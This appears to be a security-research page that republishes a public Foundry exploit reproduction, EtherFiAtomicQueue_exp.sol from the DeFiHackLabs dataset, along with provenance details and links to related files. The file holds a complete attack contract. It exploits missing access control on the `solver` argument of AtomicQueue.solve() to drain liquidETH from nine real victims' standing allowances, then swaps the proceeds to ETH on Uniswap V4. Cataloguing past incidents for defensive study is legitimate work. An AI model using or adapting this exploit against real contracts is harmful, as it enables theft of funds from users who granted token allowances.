Public reproduction file
src/test/2026-09/EtherFiAtomicQueue_exp.sol
Public reproduction file for dataset entry EtherFiAtomicQueue.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// ether.fi AtomicQueue - missing access control on the caller-supplied `solver` in solve() - Ethereum.7// 14.4455 liquidETH drained from 9 real third-party victims, cashed out via Uniswap V4 to ~15.45 ETH.8//9// Attack tx : 0x7cbe0b4349513fed6d03ba8bf9ed708e10e07a501d10b5f344a25ae10595599b (block 25952624)10// Attacker EOA : 0xa5CC6e490Bce9185fA47b421f2EaC677A83B64Ea11// Exploit (on-chain): worker 0x679c53fF03c5c60aAC538a019cA9d69C5DFa663E (created in a deployer ctor)12// AtomicQueue : 0xD45884B592E316eB816199615A95C182F75dea07 (verified; vulnerable)13// want drained : 0xf0bb20865277aBd641a307eCe5Ee04E79073416C (ether.fi Liquid ETH / liquidETH, a BoringVault share)14// V4 PoolManager : 0x000000000004444c5dc75cB358380D2e3dE08A90 (liquidETH/native-ETH pools used to cash out)15//16// REAL VICTIM vs DEMO: this is demonstrated impact against REAL third-party victims, NOT a self-contained demo.17// The trace drains liquidETH from 9 distinct on-chain addresses, each abusing that address's genuine, pre-existing18// ERC-20 allowance to AtomicQueue (left over from prior legitimate queue use). This PoC forks real mainnet state19// and drains those same real allowances - no mocked victim. (SlowMist noted a private disclosure to ether.fi;20// whether funds were later returned is out of band - the on-chain tx did move real users' funds.)21//22// ROOT CAUSE (confirmed against verified source - AtomicQueue.solve, lines 190-247):23// function solve(ERC20 offer, ERC20 want, address[] users, bytes runData, address solver) external nonReentrant24// has NO access control on `solver`: no `solver == msg.sender` check, no signature, no registration/consent.25// For each user it does offer.safeTransferFrom(user, solver, offerAmount), then calls solver.finishSolve(...),26// then want.safeTransferFrom(solver, user, assetsToUser), where assetsToUser = atomicPrice * offerAmount / 1e1827// comes entirely from the user's OWN AtomicRequest. So an attacker:28// 1. names any address holding a standing want-allowance to AtomicQueue as `solver` (the victim),29// 2. makes itself a "user" via updateAtomicRequest() with a self-minted worthless `offer`, offerAmount=1e18,30// and atomicPrice = min(victim balance, victim allowance) so assetsToUser == the max pullable,31// 3. calls solve(offer, want, [attacker], "", victim): pays the victim 1e18 of the worthless offer and pulls32// `atomicPrice` of want out of the victim via AtomicQueue's standing allowance.33// finishSolve is invoked on the victim; the real victims are contracts whose finishSolve/fallback is a no-op34// that returns successfully, so the callback does not impede the drain.35//36// This PoC reconstructs the bug end to end: the 9 liquidETH drains, then the attacker's real Uniswap V4 cash-out37// of the drained liquidETH to native ETH across the same three pools. (The on-chain tx also grabbed ~1.36 USDC38// from a Coinbase smart wallet - dust, omitted.) Asserts the realized, slippage-adjusted ~15.45 ETH.40interface IERC20 {41 function balanceOf(address) external view returns (uint256);42 function allowance(address owner, address spender) external view returns (uint256);43 function approve(address spender, uint256 amount) external returns (bool);44 function transfer(address to, uint256 amount) external returns (bool);45 function transferFrom(address from, address to, uint256 amount) external returns (bool);46 function decimals() external view returns (uint8);47}49interface IAtomicQueue {50 struct AtomicRequest {51 uint64 deadline;52 uint88 atomicPrice;53 uint96 offerAmount;54 bool inSolve;55 }57 function updateAtomicRequest(IERC20 offer, IERC20 want, AtomicRequest calldata userRequest) external;58 function solve(IERC20 offer, IERC20 want, address[] calldata users, bytes calldata runData, address solver)59 external;60}62// Uniswap V4 core (Currency is an address under the hood).63interface IPoolManager {64 struct PoolKey {65 address currency0;66 address currency1;67 uint24 fee;68 int24 tickSpacing;69 address hooks;70 }72 struct SwapParams {73 bool zeroForOne;74 int256 amountSpecified;75 uint160 sqrtPriceLimitX96;76 }78 function unlock(bytes calldata data) external returns (bytes memory);79 function swap(PoolKey calldata key, SwapParams calldata params, bytes calldata hookData) external returns (int256);80 function sync(address currency) external;81 function settle() external payable returns (uint256);82 function take(address currency, address to, uint256 amount) external;83}85interface IAccountant {86 function getRateInQuoteSafe(address quote) external view returns (uint256);87}89// Worthless offer token the attacker mints to itself - the only thing the victims are "paid".90contract FakeOffer is IERC20 {91 string public constant name = "Fake";92 string public constant symbol = "FAKE";93 uint8 public constant decimals = 18;94 mapping(address => uint256) public balanceOf;95 mapping(address => mapping(address => uint256)) public allowance;97 constructor(uint256 supply) {98 balanceOf[msg.sender] = supply;99 }101 function approve(address s, uint256 a) external returns (bool) {102 allowance[msg.sender][s] = a;103 return true;104 }106 function transfer(address to, uint256 a) external returns (bool) {107 balanceOf[msg.sender] -= a;108 balanceOf[to] += a;109 return true;110 }112 function transferFrom(address f, address t, uint256 a) external returns (bool) {113 if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;114 balanceOf[f] -= a;115 balanceOf[t] += a;116 return true;117 }118}120contract EtherFiAtomicQueueExploit {121 IAtomicQueue constant QUEUE = IAtomicQueue(0xD45884B592E316eB816199615A95C182F75dea07);122 IERC20 constant LIQUID_ETH = IERC20(0xf0bb20865277aBd641a307eCe5Ee04E79073416C);123 IPoolManager constant V4 = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90);124 address constant NATIVE = address(0);125 uint160 constant MAX_SQRT = 1461446703485210103287273052203988822378723970341; // V4 MAX_SQRT_PRICE - 1127 FakeOffer public immutable offer;128 address public immutable owner;130 constructor() {131 owner = msg.sender;132 offer = new FakeOffer(1000e18);133 offer.approve(address(QUEUE), type(uint256).max);134 }136 // Drain each victim's standing liquidETH allowance via solve(solver=victim), then cash out to ETH on V4.137 function attack(address[] calldata victims) external {138 for (uint256 i; i < victims.length; ++i) {139 address victim = victims[i];140 uint256 pullable = _min(LIQUID_ETH.balanceOf(victim), LIQUID_ETH.allowance(victim, address(QUEUE)));141 if (pullable == 0) continue;143 // assetsToUser = atomicPrice * offerAmount / 1e18; offerAmount = 1e18 => assetsToUser == atomicPrice.144 IAtomicQueue.AtomicRequest memory req = IAtomicQueue.AtomicRequest({145 deadline: type(uint64).max,146 atomicPrice: uint88(pullable),147 offerAmount: 1e18,148 inSolve: false149 });150 QUEUE.updateAtomicRequest(IERC20(address(offer)), LIQUID_ETH, req);152 address[] memory users = new address[](1);153 users[0] = address(this); // this contract is the crafted "user" whose request gets fulfilled154 QUEUE.solve(IERC20(address(offer)), LIQUID_ETH, users, "", victim);155 }157 // Cash out the drained liquidETH to native ETH across the same three V4 pools the attacker used.158 uint256 bal = LIQUID_ETH.balanceOf(address(this));159 uint256 first = 2.3e18;160 if (bal < first) first = bal;161 _v4Sell(100, 1, first);162 uint256 rest = LIQUID_ETH.balanceOf(address(this));163 _v4Sell(4500, 90, rest / 2);164 _v4Sell(4050, 81, LIQUID_ETH.balanceOf(address(this)));166 payable(owner).transfer(address(this).balance);167 }169 function _v4Sell(uint24 fee, int24 tickSpacing, uint256 amountIn) internal {170 if (amountIn == 0) return;171 V4.unlock(abi.encode(fee, tickSpacing, amountIn));172 }174 // V4 lock callback: swap liquidETH -> ETH, settle the liquidETH we owe, take the ETH we are owed.175 function unlockCallback(bytes calldata data) external returns (bytes memory) {176 require(msg.sender == address(V4), "not v4");177 (uint24 fee, int24 tickSpacing, uint256 amountIn) = abi.decode(data, (uint24, int24, uint256));179 IPoolManager.PoolKey memory key = IPoolManager.PoolKey({180 currency0: NATIVE, // ETH < liquidETH, so native is currency0181 currency1: address(LIQUID_ETH),182 fee: fee,183 tickSpacing: tickSpacing,184 hooks: address(0)185 });186 IPoolManager.SwapParams memory params = IPoolManager.SwapParams({187 zeroForOne: false, // liquidETH (currency1) -> ETH (currency0)188 amountSpecified: -int256(amountIn), // negative = exact input189 sqrtPriceLimitX96: MAX_SQRT190 });192 int256 delta = V4.swap(key, params, "");193 int128 amount0 = int128(delta >> 128); // ETH delta (positive = owed to us)194 int128 amount1 = int128(delta); // liquidETH delta (negative = we owe); may be < amountIn on a partial fill196 // Settle exactly the liquidETH the swap consumed (not amountIn - the swap can partial-fill at the limit).197 if (amount1 < 0) {198 V4.sync(address(LIQUID_ETH));199 LIQUID_ETH.transfer(address(V4), uint256(uint128(-amount1)));200 V4.settle();201 }202 // Take exactly the ETH owed to us.203 if (amount0 > 0) {204 V4.take(NATIVE, address(this), uint256(uint128(amount0)));205 }207 return "";208 }210 function _min(uint256 a, uint256 b) internal pure returns (uint256) {211 return a < b ? a : b;212 }214 receive() external payable {}215}217contract EtherFiAtomicQueue_exp is Test {218 IERC20 constant LIQUID_ETH = IERC20(0xf0bb20865277aBd641a307eCe5Ee04E79073416C);219 IAccountant constant ACCOUNTANT = IAccountant(0x0d05D94a5F1E76C18fbeB7A13d17C8a314088198);220 address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;222 // The 9 real liquidETH victims, in attack order (each had a standing allowance to AtomicQueue).223 function _victims() internal pure returns (address[] memory v) {224 v = new address[](9);225 v[0] = 0x69da29127BC31909c26080105B585345DDe847D4;226 v[1] = 0x1226C76300A2a611182c08614B260c88bd6DB3B1;227 v[2] = 0xeE8D39AB46C685889B3E4A31347deDB5739D553D;228 v[3] = 0x0EACbaA94AEcc4e51d299a99915F64EE96F3b468;229 v[4] = 0x13B90df23158808185B247aB61EDe61b75d49E23;230 v[5] = 0x0ec7E8C2DDdEC157589208D19feF4927607CCfD1;231 v[6] = 0x516E726f53576Ee00Db9B96291CDD0F7EB5F8Cc7;232 v[7] = 0x4D4Ef453CF782926825F5768499C7e02DaA3A9E7;233 v[8] = 0x2cFb075E8FC0D99837653629B0A3d527f0769a1A;234 }236 function testExploit() public {237 vm.createSelectFork("mainnet", 25952623); // parent block of the exploit tx239 EtherFiAtomicQueueExploit exploit = new EtherFiAtomicQueueExploit();241 uint256 ethBefore = address(this).balance;242 exploit.attack(_victims());243 uint256 ethProfit = address(this).balance - ethBefore;245 uint256 rate = ACCOUNTANT.getRateInQuoteSafe(WETH);246 emit log_named_decimal_uint("liquidETH NAV rate", rate, 18);247 emit log_named_decimal_uint("attacker ETH profit", ethProfit, 18);249 // Realized, slippage-adjusted gain after the V4 cash-out; on-chain figure 15.453645063405167626 ETH.250 assertApproxEqRel(ethProfit, 15.453645063405167626 ether, 0.03e18, "ETH profit off reported ~15.45 ETH");251 }253 receive() external payable {}254}Analysis
Dataset entry
Public Foundry test for “EtherFiAtomicQueue” (2026-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa5cc6e490bce9185fa47b421f2eac677a83b64ea
- Attack Tx
0x7cbe0b4349513fed6d03ba8bf9ed708e10e07a501d10b5f344a25ae10595599b
File record
- Name
- EtherFiAtomicQueue
- Path
- src/test/2026-09/EtherFiAtomicQueue_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4bdd7dc09912bc7ee256921043f1cc5e723a92e7
- Language
- Solidity
- Size
- 255 lines
- Date
- 2026-09-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/EtherFiAtomicQueue_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4bdd7dc09912bc7ee256921043f1cc5e723a92e7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.